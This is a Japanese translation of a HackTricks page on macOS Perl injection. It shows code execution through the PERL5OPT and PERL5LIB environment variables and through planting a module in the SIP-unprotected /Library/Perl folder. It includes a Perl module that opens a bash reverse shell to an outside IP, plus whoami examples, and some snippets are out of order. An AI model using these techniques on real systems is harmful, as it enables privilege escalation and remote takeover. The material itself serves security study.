hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

5.3 KiB
Raw Blame History

macOS Perl アプリケーションインジェクション

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法:

PERL5OPT & PERL5LIB 環境変数を介して

環境変数 PERL5OPT を使用すると、perl で任意のコマンドを実行させることができます。
例えば、このスクリプトを作成します:

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";

{% endcode %}

これで環境変数をエクスポートし、perlスクリプトを実行します:

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"
package pmod;

use strict;
use warnings;

BEGIN {
    system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.0.1/4242 0>&1'");
}

1;

{% endcode %}

この方法では、Perlモジュール/tmp/pmod.pm)を作成します。

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value
そして、環境変数を使用します:
PERL5LIB=/tmp/ PERL5OPT=-Mpmod

依存関係を通じて

Perlが実行される際の依存関係フォルダの順序をリストすることが可能です:

perl -e 'print join("\n", @INC)'

これにより、次のような結果が返されます:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

返されたフォルダのいくつかは存在していませんが、/Library/Perl/5.30 は実際に存在しSIPによって保護されていない上、SIPによって保護されているフォルダよりもにあります。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高権限のPerlスクリプトがそれを読み込むようにすることができます。

{% hint style="warning" %} ただし、そのフォルダに書き込むにはroot権限が必要であり、現在ではこのようなTCCプロンプトが表示されます: {% endhint %}

例えば、スクリプトが**use File::Basename;** をインポートしている場合、/Library/Perl/5.30/File/Basename.pm を作成して任意のコードを実行させることが可能です。

参考文献

htARTE (HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ!

HackTricksをサポートする他の方法